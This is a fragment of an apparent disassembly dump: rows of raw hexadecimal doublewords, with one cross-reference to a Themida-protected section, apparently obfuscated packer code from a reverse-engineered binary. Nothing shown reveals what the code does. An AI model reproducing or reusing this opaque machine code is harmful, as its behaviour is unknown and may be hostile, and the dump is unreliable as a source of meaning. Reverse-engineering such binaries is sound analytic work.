0C3524200h dd 0E381E2A9h, 75636955h, 24D1BD03h, 95FF0645h, 6452F2Dh dd 21C1B589h, 5E80645h, 85000000h, 0A520ED15h, 31559D29h dd 0FF5F0645h, 48AD77B5h, 3595FF06h, 6A064507h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0C780C355h, 0C57F02F7h, 12D38133h, 836F8462h, 45301DBDh dd 840F0206h, 35h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 7FC35747h, 75043090h, 8BE1D66Bh, 452F5185h dd 0F88B6606h, 2B0000C6h, 45304DBDh, 0A985C706h, 64530h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0C98AC355h, 0B7EE08E1h, 0F4B7E9C3h dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8BF823C3h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 6D55AC6h, 5EB5B6ABh, 71BD8BF9h dd 29064522h, 45263D95h, 99858D06h, 6A06450Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0F577C357h, 0B589C34Dh, 6452A2Dh, 0F525090h, 12EABF31h dd 585A0F39h, 840F50h, 90000000h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 1EC35040h, 59D63327h, 0D4253CB2h dd 68B793BBh, 8B006A26h, 45117D9Dh, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0D2FCC355h, 1E4D8589h, 858D0645h, 64A088Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 25C35040h, 0DD952947h dd 83064506h, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 7B8EF8C3h, 0CA13872Bh, 8D8975B7h dd 6453265h, 4647B3BFh, 52509049h, 10E9h, 0F5B50700h, 0E3673F83h dd 0D834125Bh, 2B7F681Bh, 60310F6Bh, 13E9h, 0BFB4C600h dd 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h, 0B19D05EBh, 5A615850h dd 840F5058h, 13h, 0CE960h, 0C1F40000h, 0EFCCD418h, 0B4C04852h dd 90610F41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 87C35646h, 250D7ECDh, 83CE71Bh, 0EB8166E3h, 6A85C0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 57C35343h dd 3B1CFC89h, 475D5329h, 13218D89h, 6A0645h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 6654A55Ah dd 6F3DB81h, 174995FFh, 6A0645h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 20B774C3h, 4443E44Fh dd 9D8BBBF1h, 645117Dh, 8D9D89h, 8D8D0645h, 6489D99h, 9D8BD1FFh dd 64510F9h, 419D8Bh, 0BD830645h, 6450025h, 68850F01h dd 8B000000h, 453265BDh, 89026A06h, 4532659Dh, 7E85006h dd 9F000000h, 48032F29h, 5060BB6Bh, 5A310F52h, 7E858h dd 0B0720000h, 0EF85B2F8h, 5F615875h, 51240489h, 71858B60h dd 89064509h, 4531098Dh, 0FF5B6106h, 45259195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E921B806h, 0C42h, 0E8h, 0ED815D00h, 64A0896h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h, 0E99D8B99h dd 8B064512h, 451379BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 95A09BCAh, 8608892Bh dd 8A0F0756h, 6, 20018D89h, 858D0645h, 6488F6Dh, 0DE9h dd 73620100h, 0EE4AF898h, 0A239D258h, 8950B663h, 85892404h dd 6450CA5h, 35FF64h, 0F000000h, 688h, 8D858900h, 0E9064518h dd 11h, 11FB06A5h, 0E403AB59h, 0C93890B7h, 0D950F6C7h dd 25896456h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 1FC35646h dd 0D78EBCECh, 85FF6B3Fh, 64532B9h, 1231BD0Bh, 0FF6A0645h dd 1745BD8Bh, 0B5FF0645h, 6452471h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0F7C35141h, 2CE995FFh, 22E90645h dd 57000001h, 79BD8960h, 0FC06451Eh, 0B0F95B61h, 0D8E38100h dd 0E6453538h, 0B2EB8070h, 2B09BD8Bh, 71E40645h, 613CF88Bh dd 0F7830Fh, 7E90000h, 0E7000000h, 6ED831FDh, 0B60FEC48h dd 6BAC8h, 0C18B0000h, 12B5B589h, 0E8C10645h, 0F19D8B04h dd 0E9064512h, 0Eh, 0C6084992h, 11CE06FEh, 1ED07C36h, 0F76603F7h dd 0F38166E2h, 0C82B4965h, 1171BD29h, 0D18B0645h, 0A7E9F5h dd 8BF90000h, 4E4985h, 5E86044h, 26000000h, 67237054h dd 2E686CBBh, 958B5F14h, 64503B5h, 7C08361h, 7719D03h dd 0C0830645h, 0FD03B00h, 2383h, 95315200h, 6451511h, 850F605Fh dd 5, 0E13B4BBFh, 0CFBF0F54h, 57E961h, 9D010000h, 6450999h dd 0FFFF8D8Bh, 0BD8BFFFFh, 6450CA5h, 61958956h, 5F064519h dd 0F01E183h, 3484h, 14E900h, 0A77D0000h, 0A9C47159h, 835EAE7h dd 580D03E2h, 8B79822Bh, 0A5837CF6h, 0FFFFFFFFh, 399529FEh dd 89064510h, 4E4995h, 0FABF0F44h, 0E9h, 0CAB58D00h, 0BB064988h dd 14B2CAF4h, 7199D89h, 6A0645h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 17C35646h, 0ADB00DCBh, 9B59D89h dd 95FF0645h, 6453121h, 0B9DE8B66h, 0F31h, 83CDC380h, 0FCF9FCE1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 2BC35545h dd 6AC02B43h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0A9B7C356h, 8B665500h, 0BAF8h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 7CE9F0C3h, 1A20FC8Dh, 0ADFEB70Fh, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0C3E2C356h, 92FE3DBh dd 4517F18Dh, 0A58D8906h, 0D06450Ch, 88h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 48C35747h, 0CA72ACFh dd 8B2A763Fh, 452A0195h, 0B58D0106h, 0E806451Fh, 6, 19E7AED8h dd 858946D8h, 6450D6Dh, 0D58D8B5Bh, 66064503h, 508551BBh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 9D8BBF9Ch, 64523F9h, 5219D8Bh, 0BD830645h, 6450215h dd 5F840F00h, 3000000h, 4511559Dh, 0B806h, 81660000h, 8D48CEF3h dd 454E1C8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 81661AB8h, 8B9200F3h, 452A55BDh dd 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 6699C356h, 0BD83DF8Bh, 645095Dh dd 0E9840F00h, 0B7000003h, 5DBD83A4h, 1064509h, 3F5840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8B2431C3h, 45197D9Dh, 6860F06h, 8B000000h dd 4510819Dh, 5DBD8306h, 3064509h, 383860Fh, 8D090000h dd 6452C01h, 3830Fh, 8B660000h, 858960F9h, 6450491h, 0B3E78166h dd 0D98C6693h, 98EF5DBBh, 4E18055h, 810Fh, 0C90A0000h dd 14B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0E9AF98C3h, 0BD2BC101h, 6452979h dd 589858Bh, 6A0645h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0FBE60AC3h, 32C58D31h, 0F3810645h dd 65E510F0h, 2758533h, 6A0645h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 26E344C3h, 32F6A955h dd 90070595h, 0CEBF6650h, 6AF8907Ch, 859D0100h, 68064504h dd 2547C78Fh, 2880Fh, 12B30000h, 70243481h, 6A2558C4h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0C0E6C353h, 0CBDB8166h, 0AD95FFAAh, 6A06452Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 8E06C355h, 3055A7B9h, 6EF8193h, 602D2348h dd 0E8B5DB80h, 7, 0A5D4CFF2h, 8B31936Eh, 89615EC8h, 48AD7785h dd 5853106h, 0E9064511h, 1E6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0BFC35747h, 0D3B03349h, 2CB7D08Bh dd 2D9D8BE2h, 0B064522h, 4501DD9Dh, 6F858B06h, 8B0648ADh dd 4518F99Dh, 0D1BF6606h, 1800C76Dh, 66000000h, 86B5EB81h dd 0AD73B58Bh, 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 858BFCC3h, 64503C1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3CC35545h, 79F50B0Dh dd 7B73B324h, 800F7CB3h, 15h, 10E9h, 0A4B25100h, 0E7872F2Dh dd 0D978B68h, 0CB020B44h, 600689CEh, 59DB589h, 8B660645h dd 26BF61CEh, 8B76C8C0h, 45058985h, 1BD8B06h, 89064504h dd 6A0446h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 7F3B5AC3h, 33619D09h, 0BB960645h, 396D4466h dd 0BF666050h, 0E8533482h, 10h, 0C7DEFDA2h, 80B36335h dd 38DEF44Eh, 70894317h, 96615A5Fh, 0DDB53160h, 89064516h dd 4510F1BDh, 0B5FF6106h, 648AD6Fh, 4E8h, 1F03FF00h, 0FA8B6600h dd 0EE86050h, 68000000h, 0D0BDEFDDh, 54232FC9h, 30C4325Fh dd 586160A8h, 78E4BB66h, 24448B61h, 7BB6604h, 60008B5Fh dd 24448961h, 5438BB04h, 6A58216Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EE33C356h dd 5E87B0A7h, 7FC3A61Bh, 0FE59DF81h, 858D26A7h, 648AD77h dd 50D3B390h, 0F525057h, 5ADE8B31h, 0FF905B58h, 452EAD95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0FF854224h, 9D8B603Fh, 6450B75h, 3CC78166h dd 50616117h, 0E9CFBB57h, 5B5B44CCh, 95D85C7h, 30645h dd 83F50000h, 48AD77BDh, 840F0006h, 2Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 62C35040h, 89FCBBB4h dd 4519019Dh, 1EE906h, 0F3800000h, 0C305041h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 8BF8BF0Fh, 450A09BDh dd 5DBD8306h, 3064509h, 38D850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B53111C3h dd 6451059h, 0AD77BD83h, 0F000648h, 35E84h, 0EE900h, 2D9D0000h dd 118E2ECEh, 0AD38E476h, 0B1BE90ADh, 0AD77B5FFh, 95890648h dd 6450A31h dd 10C995FFh, 0DE8B0645h, 0AD6BB58Bh, 8B660648h, 106C7DFh dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0A06FC356h, 0FF003319h, 0B531CB00h dd 6452135h, 0BF525050h, 112972D2h, 89B7310Fh, 3489585Ah dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 43E5A19h, 90D9D8Bh, 0F600645h, 684h, 9DB58B00h dd 29064532h, 450191B5h, 0B5FF6106h, 648AD77h, 95195FFh dd 8B0F0645h, 3, 8B3FEB80h, 48AD6BB5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 60722D79h, 5820Fh, 1AB90000h, 9483EEDh, 4504198Dh, 858B6106h dd 64514EDh, 0A8A8BF66h, 0C48689h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 13CAEC3h dd 0A1E381DEh, 8B69A776h, 452A0195h, 0B59D8B06h, 83064509h dd 860F04C2h, 5, 75CB8166h, 89F98B52h, 0BFBF2050h, 8D01B901h dd 48C15685h, 9EBB6606h, 0B88689E0h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 6A24C350h, 6ADE8B05h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0FFF5A417h, 48AD77B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0E2A3C76Ch, 5DBD0BDCh, 0FF064508h, 45259195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0F594F822h, 31FC8C4Ch, 9589CAA9h, 6452E9Dh dd 5E850h, 0EE480000h, 6007B4EEh, 5F57DE8Bh, 34895B61h dd 0C9BD8B24h, 0FF064524h, 48AD77B5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BB2779Eh, 4507399Dh, 0DE806h, 42150000h, 0B8ED3DCCh dd 83851EEEh, 0F97690Fh, 386h, 0F98B6600h, 7D95FF5Bh, 6A064520h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 1A29C353h, 833EEBD7h, 451955BDh, 840F0006h dd 10h, 1FA1BD8Bh, 66500645h, 3489F98Bh, 0D9B70F24h, 0AD77B5FFh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0C606C6C3h, 95FF32B3h, 6452F2Dh, 0FFDEB70Fh dd 48AD77B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 7C90FBD7h, 0D8BF0FEAh, 73595FFh dd 0F600645h, 8166DBBFh, 61E774C2h, 301DBD83h, 0F020645h dd 3684h, 51858B00h, 8906452Fh, 452A158Dh, 0C606h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 93C35343h, 7C24E452h dd 2ED381BEh, 0C7585066h, 4530A985h, 6, 5626B700h, 23FD8589h dd 0E95B0645h, 0FFFFF4EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0EEC35545h, 6AC18Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7E2339C3h dd 6140DD8Bh, 66464217h, 858DF98Bh, 6450D99h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8AC35545h, 0DADB2C7Eh dd 0E0493A07h, 816660DBh, 9E292C1h, 45250995h, 50506106h dd 12E952h, 0C14A0000h, 4EECB116h, 89B513A8h, 117713A2h dd 0AB38D5Dh, 585A310Fh, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B854C351h dd 1EABEEEFh, 80C7AE78h, 852918CBh, 64532FDh, 9D8B006Ah dd 645030Dh, 8C0F006Ah, 2, 858D10B3h, 64A16CBh, 83D88B66h dd 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0A665D7C3h, 90F9BF0Fh, 50F88B66h, 899057B3h dd 4501F18Dh, 0B59D8B06h, 6A064512h, 6AF1B700h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 50F30C3Bh, 1FCD8D29h, 95FF0645h, 6451749h, 9D2960F5h dd 6451CCDh, 0FE9h, 34E7A300h, 2A06D25Fh, 97E30338h, 4E0CC895h dd 998D8D61h, 8B06489Dh, 450DFD9Dh, 0E8D1FF06h, 11h, 8FDCF62Bh dd 0C16BDE79h, 5E3289A5h, 6EF3E258h, 0ADBD89B1h, 5F06451Dh dd 25BD83h, 0F010645h, 9985h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 5B4B546Fh dd 0E2798BFAh, 860FBECAh, 3, 6ADAB70Fh, 0A9BD8B02h, 50064503h dd 9E8h, 5664FE00h, 998094C5h, 0DE8B860Dh, 2404895Bh, 0D7816656h dd 0FF5F242Bh, 45259195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0C4690AADh dd 0F603361h, 686h, 860F00h, 0F000000h, 384h, 0FBBF0F00h dd 25B52961h, 80064508h, 0E5E94DDFh, 0E800000Ch, 0 dd 0D5ED815Dh, 8B064A16h, 57006AF9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 52B4FB7Bh dd 6D858D6Fh, 6A06488Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 5B64C355h, 0F98B16EDh dd 66525050h, 0F1F31BFh, 6880F31h, 0F000000h, 84h, 89585A00h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B11E02C3h, 0AAC7BDE4h, 0B7D8B70Fh, 35FF644Fh dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EEC35242h dd 0A2FC473Dh, 8DC78148h, 647D5EC1h, 2589h, 8D890000h dd 6450015h, 32B985FFh, 0FF6A0645h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 48C35343h, 0F4A0343Ah, 0DB819118h dd 2947AE00h, 2C55B5FFh, 6A0645h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 9DA60DC3h, 0F9C85894h dd 0E995FF22h, 0E906452Ch, 103h, 40C375BBh, 6600B07Fh dd 70E6DA8Bh, 26D8589h, 71E40645h, 830F613Ch, 0E7h, 10B58D31h dd 0B60F0645h, 0C98160C8h, 2F83EDECh, 0BA61AAB7h, 6, 9D8BDE8Bh dd 6450D65h, 0BD03C18Bh, 64508F5h, 8B04E8C1h, 4523A59Dh dd 0E2F76606h, 5E9h, 0E6E88300h, 0C82BA1A9h, 5E8h, 596E0B00h dd 8B5BFE5Ah, 24E380D1h, 92E9h, 4C858B00h, 8B505F4Ch, 45012DBDh dd 5E806h, 22CF0000h, 8BEC921Ah, 4501C5BDh, 0C0835B06h dd 0F9BF0F07h, 8000C083h, 0D03B79DFh, 17830Fh, 8D890000h dd 6451F65h, 56E9h, 68E0F00h, 8B000000h, 4507319Dh, 0FF8D8B06h dd 66FFFFFFh, 8B140ABBh, 4509819Dh, 1E18306h, 31840Fh dd 9D8B0000h, 6450915h, 0FFFFA583h, 0FFEFFFFh, 118Dh, 5E800h dd 93190000h, 8123C32Ah, 781C5BE7h, 95895B54h, 505F4C4Ch dd 0E9FB8Bh, 8D000000h, 4997FBB5h, 66FB8B06h, 6A535DBBh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0B3CA29B0h, 7617B559h, 0BB66A952h, 95FFE13Dh dd 6453121h, 24A5BD03h, 90B90645h, 6A00000Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 750C355h, 0BBE44EF0h, 241DDC3h, 2C9D8D09h, 0E1830645h dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0ADF7784Dh, 0E484CFA2h, 0A553BB26h, 0BD8B6BA5h dd 6450719h, 58C0FFCh, 66000000h, 0E53DF781h, 0D3BFC02Bh dd 2B1428C5h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0ADEF0D78h, 0FE9014Ah, 53000000h dd 1520FD24h, 79899A9Ah, 99358500h, 33ADB4A8h, 3E8D1C2h dd 4E983D0h, 9D8BF475h, 64509D1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0A5C35343h, 880D4080h, 66000000h dd 0DE6EC381h, 0D898D89h, 958B0645h, 6452A01h, 8BFBB70Fh dd 4503D58Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 9A85AF64h, 8166BB6Ah, 509243DBh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 1F2C464h, 29DE8BB4h, 451EC195h, 15BD8306h, 64502h, 80840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 71FB26C3h, 30630476h, 0B871h, 0BD0B0000h dd 64517F9h, 4E1C8D8Dh, 6A0645h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 3656A7C3h, 0D6530C9Bh dd 0FFDAB70Fh, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0C485192Ah, 5A880FDh dd 0BD83F8FCh, 645095Dh, 0C9840F00h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 70A4C350h, 55FBBA53h, 0A86EF82Ch, 83F8B70Fh, 45095DBDh dd 840F0106h, 3AFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 51C35646h, 5DBD831Ah, 3064509h, 34F860Fh dd 0A0BF0000h, 600042ECh, 0D98C66FCh, 0E9F8B0BBh, 4E18071h dd 0FC90AFCh, 13084h, 0B98D0900h, 8B06452Bh, 45058985h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 9FF160E8h, 55850953h, 5F064508h, 6359589h dd 85330645h, 6450275h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 5BC35646h, 9156D889h, 880F9F58h, 1Bh dd 5E960h, 9E5E0000h, 0E8709ACBh, 9, 0A818F5C8h, 13CEB84Dh dd 50615E43h, 8B240489h, 6A006AFBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 8BC4C353h dd 5E9h, 0D0720200h, 916848F4h, 0E9B57B0Bh, 8, 776FCEFCh dd 0C82B6ECDh, 6E240481h, 6A4AA3F8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 45C6C357h dd 0DC3984D2h, 0B494E918h, 95FFDA8Bh, 6452EADh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B5C35747h, 470ACB2Eh dd 15826F73h, 64E78166h, 778589EAh, 0BB0648ADh, 61D53464h dd 1AFE9h, 6F858B00h, 8A0648ADh, 1800C7F8h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0EA48C357h, 8BD98B50h, 48AD73B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0E8B8C7EBh, 8B89B3C5h, 4503C185h, 79BD8B06h, 89064514h dd 65BB6606h, 39BD8903h, 8B064506h, 45058985h, 0E9BD8B06h dd 89064505h, 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 40379BC3h, 0EB394D3Bh, 606050C8h dd 7E9h, 62B36500h, 4826CC7Dh, 3224BA61h, 896121C3h, 8B662434h dd 6FB5FFDEh, 890648ADh, 4502E18Dh, 4E806h, 3FF0000h, 0E6BB001Fh dd 506A5D7Eh, 6FF737BFh, 24448B42h, 60525004h, 61D78B66h dd 14E8310Fh, 37000000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h dd 0E5087E4Eh, 60304822h, 585A5B61h, 11E9008Bh, 44000000h dd 0E1186478h, 0A081C409h, 21FE3BFBh, 82C4F4FCh, 4244489h dd 0EE958h, 59BA0000h, 2872CA8Eh, 5ACF78F5h, 8A042F94h dd 0AD77858Dh, 0BD8B0648h, 6450189h, 4ABB6690h, 10E9509Eh dd 0BE000000h, 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 90223FD8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 26C35747h dd 0C3A25966h, 95FF551Bh, 6452EADh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0A4C35343h, 3DB07DBEh, 0DD958969h dd 0FC064510h, 0B5BD8961h, 0C7064517h, 45095D85h, 306h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 71E0FFA0h, 0C98509h, 0BD830645h, 648AD77h dd 12840F00h, 0BF000000h, 353A869Ch, 9BDB8166h, 1EE9B8h dd 8B660000h, 0C3050FAh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 18C35747h, 0E851006Ah, 3, 59C35920h dd 4244C89h dd 4244481h, 1Ch, 8C35141h, 89412687h, 3846ABB6h, 95DBD83h dd 0F030645h, 41485h, 39958900h, 83064509h, 48AD77BDh dd 840F0006h, 401h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0C8C35040h, 9A55B151h, 8987715Ah, 7ABB6650h dd 0B5FF5FA6h, 648AD77h, 0A097EB81h, 95FF42FEh, 64510C9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 29C35343h dd 2D186079h, 0E1925DBh, 0CB816654h, 0B529836Ah, 645013Dh dd 0AD6BB58Bh, 810F0648h, 6, 18498589h, 0BD2B0645h, 645044Dh dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h dword_58FFB0 dd 190424h, 50400000h, 6C7246C3h, 0FC365B37h, 1F2FBF50h ; DATA XREF: Themida_:0053EB3Co dd 34895273h, 859D2924h, 0FF064511h, 48AD77B5h, 7E906h dd 7B790000h, 0C44DDC3Ch, 5195FF05h, 8B064509h, 45204DBDh dd 6BB58B06h, 0E90648ADh, 6, 0C31480B9h, 858B5A65h, 64514EDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h dd 8689B359h, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 96C35141h, 96DA68D0h, 6660738Ah, 23F3C781h dd 1958B61h, 6A06452Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 4E34C350h, 8E960E0h dd 0D5000000h, 1008A3F5h, 31339350h, 4514B195h, 0BD8B6106h dd 6451785h, 6A04C283h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0DE43C355h, 8917B68Dh dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 97EA39C3h, 0C156858Dh, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8B66ECC3h dd 0B88689DFh, 81000000h, 86725D3h, 47BB6672h, 89006A29h dd 451D9DBDh, 77B5FF06h, 6A0648ADh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 3C4AC357h dd 8B2B111Dh, 9195FFFAh, 6A064525h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7ECAC355h dd 7B0C436Ch, 418D89C1h, 96064525h, 66525056h, 0FD666BFh dd 5A616031h, 0BF505B58h, 107819E5h, 0A850F96h, 60000000h dd 19B529h, 6B60645h, 77B5FF61h, 6A0648ADh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 35EBC357h dd 8B9C9F2Fh, 450AC5BDh, 7D95FF06h, 6A064520h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 6DA7C350h, 83D9B70Fh, 451955BDh, 840F0006h, 38h, 253D9D8Bh dd 60500645h, 9E9D18Bh, 0F2000000h, 0DD2CA821h, 64E753CBh dd 24348961h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0BBC35646h, 0AD77B5FFh, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 9E907C3h dd 452C69B5h, 0F9B70F06h, 2F2D95FFh, 9D890645h, 6451765h dd 0AD77B5FFh, 